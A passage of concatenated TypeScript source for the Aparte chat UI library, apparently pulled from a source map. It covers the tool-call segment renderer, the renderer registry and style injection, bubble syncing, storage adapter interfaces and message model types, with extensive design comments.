(customRenderer) {\n // Its stylesheet, here as well as on the live path: this is what runs when a\n // stored conversation is re-rendered, and nothing replays `tool-start` for\n // history. Idempotent, keyed by tool name.\n injectToolRendererStyles(segment.toolCall?.name ?? '', customRenderer);\n const out = customRenderer.render(segment);\n if (out) return out;\n }\n\n // Status/tool glyphs come from the icon provider (fallbacks: ✓ / ✕ / 🔧)\n // so icon packs and skins restyle the pill like everything else.\n /*\n * The pill's variable parts get STABLE containers, always present.\n *\n * `update` has to patch this in place — see its own comment — and it cannot\n * patch an element that is absent on one status and present on the next. So the\n * spinner is always in the DOM and CSS shows it only while `pending`, and the\n * status slot is one element whose CONTENT is the waiting label or the glyph.\n */\n const pill = pillMarkup(segment, name, status); // safe-text: markup built by pillMarkup, whose own interpolations are each escaped or marked there\n const toggle = contextConfig().getIcon('expand'); // safe-text: the icon provider's SVG — the same contract as every other getIcon in this file, where escaping would print the source\n\n /*\n * What went IN and what came OUT, behind a disclosure.\n *\n * The pill named the tool and showed nothing else — not the arguments the model\n * chose, not the result it got — while the segment carried both the whole time.\n * Missing presentation, not missing data. Every comparable kit shows them:\n * AI Elements has `ToolInput` / `ToolOutput` inside a collapsible `Tool`,\n * assistant-ui has `ToolFallback.Args` / `.Result`.\n *\n * COLLAPSED, always, including while the loop waits for a decision. The\n * `thinking` block stays closed while it is being produced — the most live\n * moment there is — so a tool call has no stronger claim to unroll itself. One\n * rule, no special cases.\n *\n * A `<details>` only when there IS something behind it: a disclosure that\n * reveals nothing is an affordance that lies (ratified decision #8), and a tool\n * with no arguments and no result yet has nothing to reveal.\n */\n const input = describeInput(segment);\n const result = segment.result;\n if (!input && !result) {\n return `\n <div class=\"aparte-segment aparte-segment-tool-call\" data-segment-id=\"${escapeHtml(segment.id)}\" data-status=\"${escapeAttr(status)}\" data-tool-call-id=\"${escapeAttr(toolCallId)}\">${pill}\n </div>\n `;\n }\n\n const cfg = contextConfig();\n return `\n <details class=\"aparte-segment aparte-segment-tool-call\" data-segment-id=\"${escapeHtml(segment.id)}\" data-status=\"${escapeAttr(status)}\" data-tool-call-id=\"${escapeAttr(toolCallId)}\">\n <summary class=\"aparte-tool-summary\"><span class=\"aparte-tool-toggle\">${toggle}</span>${pill}</summary>\n <div class=\"aparte-tool-detail\">\n ${input ? `\n <div class=\"aparte-tool-part\" data-part=\"input\">\n <span class=\"aparte-tool-part-label\">${escapeHtml(cfg.t('toolInput'))}</span>\n <div class=\"aparte-tool-part-body\"><pre><code>${escapeHtml(input)}</code></pre></div>\n </div>` : ''}\n ${result ? `\n <div class=\"aparte-tool-part\" data-part=\"output\">\n <span class=\"aparte-tool-part-label\">${escapeHtml(cfg.t('toolOutput'))}</span>\n <div class=\"aparte-tool-part-body\"><pre><code>${escapeHtml(result)}</code></pre></div>\n </div>` : ''}\n </div>\n </details>\n `;\n },\n /**\n * The pill's glyphs, and the label it wears while a person is deciding.\n *\n * The two highest-stakes strings in the library — the approval labels — are no\n * longer here: they are on the panel, which relabels itself. This still matters\n * though, because the request the pill describes stays open for as long as\n * somebody takes to decide, which is exactly long enough for a language switch.\n *\n * No child node is added or removed, per the relabel contract.\n */\n relabel: (element, segment) => {\n const cfg = contextConfig();\n // A registered renderer owns its markup, so none of the selectors below exist\n // in it; its own `relabel` — when it declares one — is the only thing that can\n // re-read the locale for it.\n const custom = cfg.getToolRenderer(segment.toolCall?.name);\n if (custom) {\n custom.relabel?.(element, segment);\n return;\n }\n const icon = element.querySelector('.aparte-tool-icon');\n if (icon) icon.innerHTML = cfg.getIcon('tool');\n setTarget(element, segment);\n // Through `stateBadge`, which is the whole point of it existing.\n //\n // This used to rebuild the badge by hand as the ICON ALONE, so any config change\n // — `setLocale`, `setIconProvider`, `registerTool`, `reset()`, anything that\n // calls `_notify()` — permanently deleted the localized state word that\n // `stateBadge` renders beside it. \"✓ Done\" became \"✓\", and `pending`'s \"Running\"\n // became empty. Four of five statuses regressed; only `awaiting-approval`\n // survived, because a second line below re-wrote it.\n //\n // Which is exactly what `stateBadge`'s own docblock says it prevents: \"One\n // function so `render` and `update` cannot disagree\". `relabel` was never folded\n // in. It is now, so there is no third spelling of the badge to keep in step —\n // and the approval-waiting special case goes with it, since `stateBadge` already\n // returns the localized `approvalWaiting` for that status.\n const statusEl = element.querySelector('.aparte-tool-state');\n if (statusEl) statusEl.innerHTML = stateBadge(segment);\n },\n /**\n * Patch in place. NEVER re-render, and never touch `open`.\n *\n * Without an `update` the bubble replaces the element wholesale — and a tool call\n * changes status several times per turn, so a disclosure the reader opened would\n * slam shut under them every time. The same rule the reasoning block has, for the\n * same reason: `collapsed` is honoured only when an update explicitly carries it.\n *\n * The one case that cannot be patched is a change of ELEMENT: a call that had\n * neither arguments nor a result rendered as a plain pill, and gaining a result\n * makes it a `<details>`. That falls back to a rebuild, which costs nothing because\n * there was no disclosure to lose.\n */\n update: (element, segment) => {\n const status = segment.status ?? 'pending';\n const input = describeInput(segment);\n const wantsDetail = !!input || !!segment.result;\n\n /*\n * Two cases this cannot patch, and both rebuild instead.\n *\n * A registered tool renderer owns the WHOLE markup, so none of the selectors\n * below exist in it — patching would fail silently and that segment would\n * simply stop updating. Before this file had an `update` at all, the bubble\n * rebuilt on every change, which re-invoked their render; a rebuild keeps that\n * behaviour exactly.\n *\n * And a change of ELEMENT: a call with neither arguments nor a result renders\n * as a plain pill, and gaining either makes it a `<details>`. Nothing is lost\n * there — there was no disclosure to keep open.\n */\n const custom = contextConfig().getToolRenderer(segment.toolCall?.name);\n // A registered renderer that declares `update` owns the patch — a mounted\n // preview or an opened disclosure in its markup survives the change. One\n // that does not is rebuilt, as it always was.\n if (custom?.update) {\n custom.update(element, segment);\n return;\n }\n if (custom || wantsDetail !== (element.tagName === 'DETAILS')) {\n // A `<template>`, not the bubble's own converter: this file is a renderer\n // and must not import from the component that consumes it.\n const out = toolCallRenderer.render(segment);\n const tpl = document.createElement('template');\n tpl.innerHTML = typeof out === 'string' ? out.trim() : '';\n const rebuilt = (typeof out === 'string' ? tpl.content.firstElementChild : out) as HTMLElement | null;\n if (rebuilt) {\n element.replaceWith(rebuilt);\n toolCallRenderer.setup?.(rebuilt, segment);\n }\n return;\n }\n\n element.setAttribute('data-status', status);\n const badge = element.querySelector('.aparte-tool-state');\n if (badge) badge.innerHTML = stateBadge(segment);\n // `hidden`, not a CSS-only rule: an attribute is a real DOM state a test can\n // read, and jsdom has no layout to ask. Same treatment as the cancel button.\n element.querySelector('.aparte-tool-spinner')?.toggleAttribute('hidden', status !== 'pending');\n setTarget(element, segment);\n\n setPart(element, 'input', input);\n setPart(element, 'output', segment.result ?? '');\n highlightParts(element);\n },\n setup: (element, segment) => {\n // Nothing of ours to WIRE: the transcript holds no control any more. What used\n // to be here built the two buttons' click listeners and dispatched\n // `aparte-tool-decision`; the decision is answered at the composer now.\n highlightParts(element);\n const customRenderer = contextConfig().getToolRenderer(segment.toolCall?.name);\n customRenderer?.setup?.(element, segment);\n },\n // CSS lives in styles/segment/ — see that folder for why a\n // built-in's rules belong there. `getStyles` stays for a CONSUMER's renderer, which\n // has no other way onto the page.\n getStyles: () => ''\n};\n","/**\n * Aparte Segment Renderers\n * Built-in renderers for core segment types\n */\n\nimport type {\n AparteSegmentBase,\n AparteSegmentRenderer,\n} from '../types/index.js';\n// Renderers are plain functions: they read the ambient config set by the\n// invoking component (runWithConfig), falling back to an element when one is\n// in scope for late executions (event handlers, window-event callbacks) —\n// see config-context.ts. `contextConfig()` with no element = ambient or global.\nimport { contextConfig } from '../config/index.js';\nimport { aparteGlobalConfig } from '../config/index.js';\nimport type { AparteConfig } from '../config/index.js';\n// The built-in renderers, one file each under ./segments/ — `DEFAULT_RENDERERS` at\n// the bottom is the list, and the count (this line used to say \"nine\" over a list\n// of seven, then six: the artifact card left for `@aparte/plugin-artifacts`, which\n// registers it through the same public `registerSegmentRenderer`). This module is\n// the REGISTRY: it owns which renderer draws which segment type, per config, and\n// the style injection they share. It knows nothing about how any of them render.\nimport { textRenderer } from './segments/text.js';\nimport { thinkingRenderer } from './segments/thinking.js';\nimport { codeRenderer } from './segments/code.js';\nimport { errorRenderer } from './segments/error.js';\nimport { toolCallRenderer } from './segments/tool-call.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Utilities\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Renderer Registry\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * One registry PER CONFIG, not one per module.\n *\n * The wrappers all advertise a `config` prop for \"several independently configured\n * chats on one page\", so two chats can render the same segment type differently.\n *\n * A WeakMap rather than fields on `AparteConfig`: that class is already the\n * largest thing in the package. Keying the state here keeps it next to the code that\n * reads it, and it is collected with the config it belongs to.\n *\n * `styleElement` stays module-level on purpose — renderer CSS is injected once per\n * DOCUMENT, and two configs on one page share that document.\n */\ninterface RendererRegistry {\n renderers: Map<string, AparteSegmentRenderer>;\n /** Set once the built-ins have been filled in, so the sweep runs at most once. */\n defaultsInstalled: boolean;\n /** Set when an app explicitly said it brings its own (AparteClient autoRegister: false). */\n defaultsDeclined: boolean;\n}\n\nconst registries = new WeakMap<AparteConfig, RendererRegistry>();\n\nfunction registryFor(config: AparteConfig): RendererRegistry {\n let reg = registries.get(config);\n if (!reg) {\n reg = { renderers: new Map(), defaultsInstalled: false, defaultsDeclined: false };\n registries.set(config, reg);\n }\n return reg;\n}\n\n/**\n * The renderers a config can actually draw with: its own, plus whatever was\n * registered on the global singleton, with its own winning on a clash.\n *\n * An instance config INHERITS global registrations, and it has to. The documented\n * call is `registerSegmentRenderer(myRenderer)` at app startup — no element, no\n * ambient render config, so `contextConfig()` resolves the global. A chat given a\n * `config` prop would otherwise resolve its own registry and find nothing there: the\n * renderer registered the documented way would be invisible to every chat that uses\n * the feature the `config` prop exists for.\n *\n * A config that DECLINED the built-ins inherits nothing — it said it brings its\n * own everything, and quietly handing it the global's renderers would turn\n * `autoRegister: false` into a no-op.\n *\n * Known edge, deliberately not solved: an instance cannot suppress a type that the\n * global registers. That needs a tombstone, and wanting to inherit is far commoner\n * than wanting to subtract.\n */\nfunction effectiveRenderers(config: AparteConfig): Map<string, AparteSegmentRenderer> {\n const own = registryFor(config);\n if (config === aparteGlobalConfig || own.defaultsDeclined) return own.renderers;\n const merged = new Map(registryFor(aparteGlobalConfig).renderers);\n for (const [type, renderer] of own.renderers) merged.set(type, renderer);\n return merged;\n}\n\nlet styleElement: HTMLStyleElement | null = null;\n\n/**\n * Register a segment renderer.\n *\n * `config` defaults to the ambient render config, which at app startup — no\n * element, no active render — is the global singleton. That is the right default:\n * a chat with its own `config` inherits global registrations. Pass a config\n * explicitly only to give ONE chat a renderer the others must not have.\n */\nexport function registerSegmentRenderer<T extends AparteSegmentBase>(\n renderer: AparteSegmentRenderer<T>,\n config: AparteConfig = contextConfig(),\n): void {\n registryFor(config).renderers.set(renderer.type, renderer as AparteSegmentRenderer);\n injectRendererStyles(config);\n}\n\n/**\n * Remember that the app declined the built-in renderers, so\n * {@link installDefaultRenderersOnce} stays out of the way for good.\n *\n * `AparteClient({ autoRegister: false })` is the one caller. Without this latch the\n * lazy install below would quietly turn that option into a no-op.\n */\nexport function declineDefaultRenderers(config: AparteConfig = contextConfig()): void {\n registryFor(config).defaultsDeclined = true;\n}\n\n/**\n * Fill in the built-in renderers for the types nobody has claimed — called by the\n * bubble the first time a segment has no renderer.\n *\n * Why lazily and not at import time: `registerDefaultRenderers()` is called by\n * `new AparteClient()`, and an app on the bring-your-own-loop path — the one the guide\n * tells you not to construct a client on — never makes that call. Without this sweep\n * it would render `[Unknown segment type: text]` for every reply, with bubbles,\n * streaming and scrolling all working, which reads as a bug in the consumer's own\n * loop rather than as a missing call.\n *\n * Strictly additive: a type someone registered themselves is never replaced, so a\n * custom `text` renderer survives the sweep triggered by a `code` segment.\n */\nexport function installDefaultRenderersOnce(config: AparteConfig = contextConfig()): void {\n const reg = registryFor(config);\n if (reg.defaultsInstalled || reg.defaultsDeclined) return;\n reg.defaultsInstalled = true;\n for (const renderer of DEFAULT_RENDERERS) {\n if (!reg.renderers.has(renderer.type)) reg.renderers.set(renderer.type, renderer);\n }\n injectRendererStyles(config);\n}\n\n/**\n * Unregister a segment renderer\n */\nexport function unregisterSegmentRenderer(type: string, config: AparteConfig = contextConfig()): void {\n registryFor(config).renderers.delete(type);\n}\n\n/**\n * Get renderer for a segment type\n */\nexport function getSegmentRenderer(\n type: string,\n config: AparteConfig = contextConfig(),\n): AparteSegmentRenderer | undefined {\n return effectiveRenderers(config).get(type);\n}\n\n/**\n * Get all registered renderers\n */\nexport function getAllRenderers(config: AparteConfig = contextConfig()): readonly AparteSegmentRenderer[] {\n return Array.from(effectiveRenderers(config).values());\n}\n\n/**\n * Collect all renderer styles for one config.\n *\n * Its OWN renderers, not the inherited view: a config that inherits the global's\n * renderers also inherits their stylesheet, which the global already injected.\n */\nexport function collectRendererStyles(config: AparteConfig = contextConfig()): string {\n return Array.from(registryFor(config).renderers.values())\n .map(r => r.getStyles?.() || '')\n .filter(Boolean)\n .join('\\n');\n}\n\n/**\n * Inject a config's renderer styles into the document head.\n *\n * Takes the config, and ACCUMULATES rather than replaces. Both matter.\n *\n * The styles collected are the given config's, not `contextConfig()`'s: at app startup\n * there is no ambient render config, which means the global singleton's, and a renderer\n * registered on an instance config would have the GLOBAL's stylesheet emitted over it\n * and draw unstyled.\n *\n * Accumulating (rather than assigning the latest config's sheet) is the other half:\n * one `<style>` serves the whole document, so the second config to register must\n * not erase the first one's rules. Deduped per renderer stylesheet, so the\n * built-ins shared by every config are emitted once.\n */\nconst injectedRendererStyles = new Set<string>();\n\nexport function injectRendererStyles(config: AparteConfig = contextConfig()): void {\n if (typeof document === 'undefined') return;\n\n // `isConnected` as well as null: a detached element passes a null check, so once\n // anything removes the sheet — a test teardown, a framework hot-reload, a consumer\n // tidying `<head>` — every later injection would write into a node no document can\n // see, and every renderer after that point would draw unstyled.\n if (!styleElement || !styleElement.isConnected) {\n styleElement = document.createElement('style');\n styleElement.id = 'aparte-renderer-styles';\n document.head.appendChild(styleElement);\n // A fresh sheet holds nothing, so everything has to be re-emitted into it.\n styleElement.textContent = Array.from(injectedRendererStyles).join('\\n');\n }\n\n let added = false;\n for (const renderer of registryFor(config).renderers.values()) {\n const css = renderer.getStyles?.();\n if (!css || injectedRendererStyles.has(css)) continue;\n injectedRendererStyles.add(css);\n added = true;\n }\n if (added) styleElement.textContent = Array.from(injectedRendererStyles).join('\\n');\n}\n\n\n/**\n * Put a tool renderer's stylesheet on the page, once per tool name.\n *\n * Called from the stream adapter's `tool-start` handler and from `toolCallRenderer` on\n * every render, a stored conversation's included (it looks the renderer up and delegates\n * to it; nothing replays `tool-start` for history), so \"the renderer drew\"\n * and \"its rules are on the page\" cannot come apart. Keyed by tool NAME rather than by\n * the CSS text, which makes it idempotent.\n */\nexport function injectToolRendererStyles(toolName: string, renderer: { getStyles?: () => string }): void {\n if (typeof document === 'undefined') return;\n const css = renderer.getStyles?.();\n if (!css) return;\n const id = `aparte-tool-renderer-${toolName}`;\n if (document.getElementById(id)) return;\n const el = document.createElement('style');\n el.id = id;\n el.textContent = css;\n document.head.appendChild(el);\n}\n\nexport function registerDefaultRenderers(config: AparteConfig = contextConfig()): void {\n const reg = registryFor(config);\n reg.defaultsInstalled = true;\n // Additive, exactly like the lazy {@link installDefaultRenderersOnce}: a type\n // someone registered themselves is never replaced.\n //\n // This used to overwrite, and the two paths therefore disagreed about the same\n // question — which is the divergence this repo keeps finding. It cost a real\n // hour: the vanilla example registered a `thinking` renderer at startup and\n // then built its `AparteClient`, whose default `autoRegister` calls this\n // function, which silently put the built-in back. The registry reported the\n // custom renderer, the DOM showed the built-in's output, and nothing anywhere\n // said the order mattered.\n for (const renderer of DEFAULT_RENDERERS) {\n if (!reg.renderers.has(renderer.type)) registerSegmentRenderer(renderer, config);\n }\n injectRendererStyles(config);\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// The built-in set\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Every renderer core ships. One list, read by both the explicit\n * `registerDefaultRenderers()` and the lazy {@link installDefaultRenderersOnce} —\n * so a new built-in type cannot be added to one path and forgotten in the other.\n */\nconst DEFAULT_RENDERERS = [\n textRenderer,\n thinkingRenderer,\n codeRenderer,\n errorRenderer,\n toolCallRenderer,\n] as readonly AparteSegmentRenderer[];\n","import type {\n AparteAttachment,\n AparteMessage,\n AparteSegment,\n AparteSiblingInfo,\n AparteUsage,\n} from '../../types/index.js';\nimport { isTerminalStatus } from '../../utils/segments.js';\n\n/**\n * Minimal structural type representing the imperative slice of `AparteChatBubble`\n * needed to reconcile a message into a bubble. Declared loosely so framework\n * wrappers can pass any element that exposes the same surface (custom element\n * registered cross-context, mocked test double, etc.) without dragging the\n * concrete `AparteChatBubble` class through every wrapper's typing.\n */\nexport interface SyncableBubble {\n getSegments?: () => AparteSegment[];\n setSegments?: (segments: AparteSegment[]) => void;\n updateSegment?: (segmentId: string, updates: Partial<AparteSegment>) => void;\n setContent?: (content: string) => void;\n setAttachments?: (attachments: AparteAttachment[]) => void;\n setSiblings?: (count: number, index: number) => void;\n setUsage?: (usage: AparteUsage | null | undefined) => void;\n}\n\n/**\n * Reconcile a bubble element with a message and optional sibling metadata.\n *\n * **For framework wrappers** (Angular, React, Vue, Svelte) that own bubble\n * creation through their own template engine. After the framework has\n * mounted/diffed its bubbles, call this helper for each (bubble, message,\n * siblingInfo) tuple to push the imperative state — segments, attachments,\n * and the sibling-picker — that cannot travel via attribute bindings.\n *\n * The default vanilla viewport (`AparteChatViewport` with `_frameworkManagedDOM\n * === false`) uses this helper internally, so the contract stays in lockstep\n * across the core and every wrapper.\n *\n * Idempotent. Safe to call on every render. Segment count drives the strategy:\n * - same count → reconcile content per segment (cheap, preserves user-toggled\n * `<details>` open/closed state on thinking blocks, etc.)\n * - count changed (new segment streamed, branch switched, etc.) → full rebuild\n * via setSegments\n *\n * Plain `content` is only pushed when no segments are present — segments take\n * precedence in the bubble's render logic.\n *\n * Sibling-picker is only shown when `siblingInfo.count > 1`; below that, the\n * bubble hides the picker on its own.\n */\nexport function populateBubbleFromMessage(\n bubble: SyncableBubble,\n message: AparteMessage,\n siblingInfo?: AparteSiblingInfo,\n): void {\n if (message.segments && message.segments.length > 0) {\n const existing = bubble.getSegments?.() ?? [];\n if (existing.length === message.segments.length) {\n // A re-sync of a message that is NOT actively streaming (load,\n // branch switch, post-completion re-render) stamps its segments\n // `isStreaming: false`. The text renderer then reconciles via the\n // one-shot Markdown path — the incremental streaming parser buffers\n // its trailing token-lookahead and would otherwise drop a final\n // glyph (e.g. an emoji). A still-streaming message is left alone so\n // its live incremental rendering (partial **bold**, …) is intact.\n // One rule, one place: the same predicate the two segment-array owners\n // use to decide a turn is over. It was spelled out inline here and\n // nowhere else, which is how it came to be applied to the bubble's\n // segments and never to the model's.\n const settled = isTerminalStatus(message.status);\n for (const seg of message.segments) {\n if ('content' in seg) {\n const patch = { content: (seg as { content: unknown }).content } as Partial<AparteSegment>;\n if (settled) (patch as { isStreaming?: boolean }).isStreaming = false;\n bubble.updateSegment?.(seg.id, patch);\n }\n }\n } else {\n bubble.setSegments?.(message.segments);\n }\n } else if (message.content !== undefined) {\n bubble.setContent?.(message.content);\n }\n\n if (message.attachments && message.attachments.length > 0) {\n bubble.setAttachments?.(message.attachments);\n }\n\n if (siblingInfo && siblingInfo.count > 1) {\n bubble.setSiblings?.(siblingInfo.count, siblingInfo.index);\n }\n\n if (message.usage !== undefined) {\n bubble.setUsage?.(message.usage);\n }\n}\n","import type { AparteMessage } from '../types/index.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\n\n/**\n * Current schema version for `AparteConversation`. Bump when the persisted\n * shape evolves so adapters / migrations can branch on it.\n *\n * v1: monolithic — `messages[]` inline on the conversation row, attachment\n * `url` was a session-scoped blob URL (lost on reload), artifacts inline\n * in segments only.\n * v2: split — meta-only conversation row; messages and attachments (with real\n * `Blob`s) get their own table. Sidebar can list without loading full payloads.\n */\nexport const APARTE_CONVERSATION_SCHEMA_VERSION = 2 as const;\n\n/**\n * A single conversation (thread) — framework-agnostic.\n */\nexport interface AparteConversation {\n id: string;\n /**\n * The title. Decided by the manager from the first user message (the text as\n * typed, or what the title provider returns), or typed by the user. Empty when\n * the conversation has no text yet: the list shows its locale's `newChat` word,\n * and the store never carries a UI string.\n */\n title: string;\n /**\n * `true` while the title is the manager's decision. Editing the first user\n * message then re-titles; a title typed by the user (`updateTitle`) clears it\n * and is kept whatever happens to the messages. Absent on records written\n * before this field existed, which reads as \"typed\": an old title is never\n * overwritten.\n */\n autoTitle?: boolean;\n createdAt: number;\n updatedAt: number;\n messages: AparteMessage[];\n /**\n * Full branching tree snapshot. When present, the conversation has branch\n * history (edits, retries, sibling responses) and is loaded via `importTree`\n * rather than the flat `messages` array.\n *\n * `messages` always mirrors the active path for backward-compatibility\n * (sidebar previews, title generation, adapters that only read flat arrays).\n */\n tree?: ExportedMessageRepository;\n /** When truthy the conversation is archived (hidden from the main list). */\n archivedAt?: number;\n /** When truthy the conversation is pinned at the top of the list. */\n pinnedAt?: number;\n /**\n * Schema version of this record. Absent on legacy data (pre-versioning):\n * adapters should treat `undefined` as version 0 and migrate on read.\n */\n schemaVersion?: number;\n}\n\n/**\n * Lightweight conversation meta — what's needed to render the sidebar without\n * loading the full message history. Returned by `loadMeta()` and stored as a\n * dedicated row by split-storage adapters.\n */\nexport interface AparteConversationMeta {\n id: string;\n title: string;\n createdAt: number;\n updatedAt: number;\n archivedAt?: number;\n pinnedAt?: number;\n /** Persisted schema version of the row. */\n schemaVersion?: number;\n}\n\n/**\n * Persisted attachment with the actual Blob — survives page reloads, unlike\n * the session-scoped `URL.createObjectURL()` stored on `AparteMessage`.\n * Adapters that split storage MUST keep the blob here and reconstruct the\n * `url` on demand.\n */\nexport interface AparteAttachmentRow {\n id: string;\n convId: string;\n msgId: string;\n name: string;\n mimeType: string;\n size: number;\n blob: Blob;\n}\n\n/**\n * Implement this interface to provide persistence for conversations.\n * All methods are async so any backend (IndexedDB, SQLite WASM, REST API…)\n * can be used. The AparteConversationManager never touches storage directly.\n *\n * The first three methods (`loadAll`, `save`, `delete`) form the minimum\n * viable adapter — everything else is optional and lets richer backends\n * expose split-storage features (fast meta listing, attachment blobs).\n *\n * What is NOT here, on purpose: memory facts, a settings key/value store, an\n * artifact gallery index. Each is a product's own table — the shape of a \"memory\n * fact\" or of a settings entry is the app's decision — and a public contract\n * carrying one app's schema binds every other adapter to it. An app that needs\n * them extends this interface in its own code. Nor is a row's own bookkeeping: a\n * folder id, a cached last-message preview, a message count and a token total are\n * things a store computes for itself, so they live on the adapter's own row shape\n * rather than on `AparteConversation` / `AparteConversationMeta`.\n */\nexport interface AparteStorageAdapter {\n /** Return all stored conversations (full payload), ordered by updatedAt desc. */\n loadAll(): Promise<AparteConversation[]>;\n /** Upsert a conversation (create or update). */\n save(conv: AparteConversation): Promise<void>;\n /** Permanently delete a conversation by id (cascades related rows). */\n delete(id: string): Promise<void>;\n /** Archive a conversation (soft-delete). Optional. */\n archive?(id: string): Promise<void>;\n /** Restore an archived conversation. Optional. */\n unarchive?(id: string): Promise<void>;\n\n // ── Split-storage extensions ────────────────────────────────────────────\n\n /**\n * Fast sidebar listing. Returns lightweight meta only (no messages).\n * Order is `updatedAt` desc. Adapters without split storage can omit\n * this — callers should fall back to `loadAll()` mapping to meta.\n */\n loadMeta?(): Promise<AparteConversationMeta[]>;\n /** Lazy-load a single conversation's full payload by id. */\n loadFull?(id: string): Promise<AparteConversation | null>;\n /** Pin/unpin (`pinnedAt`-aware sidebar sort). */\n pin?(id: string): Promise<void>;\n unpin?(id: string): Promise<void>;\n /** Update only the conversation title (avoids rewriting messages). */\n rename?(id: string, title: string): Promise<void>;\n\n // ── Lazy-loaded blobs ──────────────────────────────────────────────────\n\n /** Persisted attachment blobs for a single message. */\n loadAttachments?(msgId: string): Promise<AparteAttachmentRow[]>;\n}\n\n/**\n * Detail payload for `aparte-conversation-loaded`.\n * Dispatched by the conversation controller on the chat's host, bubbling, once a\n * conversation's messages are on screen — after a load that succeeded and that the user\n * did not leave meanwhile. The moment to resume a turn a server loop paused (`AparteClient`\n * does it on its own), to scroll or to measure.\n *\n * @event aparte-conversation-loaded\n */\nexport interface AparteConversationLoadedDetail {\n /** The chat's host id — the `targetId` every scoped event carries. */\n targetId: string;\n conversationId: string;\n}\n","/**\n * Aparte Models\n * Core data structures for message handling and attachments\n */\n\nimport type { AparteSegment } from './segments.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Flow States\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Generic status type for flow management\n * Used to drive loading indicators, error states, and transitions\n * without coupling to any specific data source\n */\nexport type AparteStatus = 'idle' | 'pending' | 'streaming' | 'completed' | 'error' | 'success';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Roles & Basic Types\n// ─────────────────────────────────────────────────────────────────────────────\n\n/** Role of a message sender in the conversation */\nexport type AparteBubbleRole = 'user' | 'assistant';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Attachments (Media Support)\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Attachment interface for media and file support\n * Future-proof structure for images, audio, documents, etc.\n */\nexport interface AparteAttachment {\n /** Unique identifier for the attachment */\n id: string;\n\n /** Display name of the attachment */\n name: string;\n\n /** MIME type (e.g., 'image/png', 'application/pdf') */\n type: string;\n\n /** URL or data URI to access the attachment */\n url: string;\n\n /** Optional file size in bytes */\n size?: number;\n\n /** Optional thumbnail URL for previews */\n thumbnailUrl?: string;\n\n /** Optional metadata for custom properties */\n metadata?: Record<string, unknown>;\n\n /**\n * Binary payload. Set at message-creation time (File from upload) so the\n * persistence adapter can save it to its attachments table. Stripped from\n * the serialised message row — the adapter reconstructs `url` via\n * `URL.createObjectURL(blob)` on hydration. Not serialised to JSON.\n */\n blob?: Blob;\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Messages\n// ─────────────────────────────────────────────────────────────────────────────\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Branching (legacy)\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * A single branch (alternative response) within an assistant message.\n *\n * @deprecated The active branching system is tree-based via `AparteMessageRepository`\n * (siblings under the same parent node). This in-message versioning struct is\n * kept only for backwards compatibility with existing serialised payloads.\n * New code should rely on viewport methods `addSiblingOf` / `navigateBranch`\n * and on the `aparte-path-changed` event payload to drive the branch picker UI.\n */\nexport interface AparteMessageBranch {\n /** Unique identifier for this branch */\n id: string;\n /** Text content of this branch */\n content?: string;\n /** Rich segments of this branch */\n segments?: AparteSegment[];\n /** Branch status */\n status?: AparteStatus;\n /** Creation timestamp */\n timestamp: number;\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Action Bar Config\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Names of the individual action-bar buttons, used for explicit per-role\n * ordered configuration (see `AparteBubbleActionsConfig.user` / `.assistant`).\n */\nexport type AparteBubbleActionName = 'copy' | 'edit' | 'retry' | 'thumbUp' | 'thumbDown' | 'info';\n\n/**\n * Controls which action buttons are rendered in message bubbles.\n * Pass to `aparteGlobalConfig.setBubbleActions()` to customise or disable actions.\n *\n * **Only `copy` is on by default.** Core can copy text on its own; every other\n * button needs someone outside core to honor it — `AparteClient` (retry, edit) or\n * your own listener (feedback, info). A button nobody answers is a lie told to the\n * user, so aparté ships them off and you turn on what you handle:\n *\n * ```ts\n * aparteGlobalConfig.setBubbleActions({ retry: true, edit: true }); // you run AparteClient\n * ```\n *\n * Two ways to configure:\n * - Global flags (`copy`/`retry`/`edit`/`feedback`/`info`) — role-aware defaults.\n * - Explicit per-role ordered sets (`user`/`assistant`) — when provided for a\n * role, they fully replace the flag-derived set for that role: buttons render\n * in exactly the given order, and naming a button there IS the opt-in (the flag\n * is not consulted). Lets a theme match a specific product 1:1.\n */\nexport interface AparteBubbleActionsConfig {\n /** Copy message text to clipboard — the one action core honors alone. Default: true */\n copy?: boolean;\n /** Retry / regenerate the response (assistant bubbles). Needs a host to re-send. Default: false */\n retry?: boolean;\n /** Edit the sent message inline (user bubbles). Needs a host to keep the new text. Default: false */\n edit?: boolean;\n /** Thumbs-up / thumbs-down feedback (assistant bubbles). Needs a listener. Default: false */\n feedback?: boolean;\n /**\n * The details (\"i\") button, which opens the **app-owned** stats popover by\n * emitting `aparte-message-info` (assistant bubbles). Rendered only when the\n * message also carries a `usage` — no numbers, nothing to show. Default: false\n */\n info?: boolean;\n /** Explicit, ordered action set for USER bubbles. Example: `['edit', 'copy']`. */\n user?: AparteBubbleActionName[];\n /** Explicit, ordered action set for ASSISTANT bubbles. Example: `['copy', 'thumbUp', 'thumbDown', 'retry']`. */\n assistant?: AparteBubbleActionName[];\n}\n\n/**\n * The affordances core RENDERS but cannot COMPLETE — each one only asks, through a\n * DOM event, and the app does the work. Declare what your app actually handles\n * with `aparteGlobalConfig.setHostHandlers()`; everything else stays out of the UI\n * rather than showing a control that answers to nobody.\n *\n * ```ts\n * aparteGlobalConfig.setHostHandlers({ attachmentPreview: true }); // you open a lightbox\n * ```\n *\n * These are declarations, not callbacks: the event (`aparte-attachment-preview`)\n * is unchanged, and you keep listening for it wherever you already do.\n */\nexport interface AparteHostHandlersConfig {\n /**\n * Clicking an image attachment asks for a full-size preview\n * (`aparte-attachment-preview`) — core owns no lightbox. Until declared, the\n * tile is inert and is not signalled as a button. Default: false\n */\n attachmentPreview?: boolean;\n}\n\n/**\n * Core message structure for the chat\n * Supports both simple content and rich 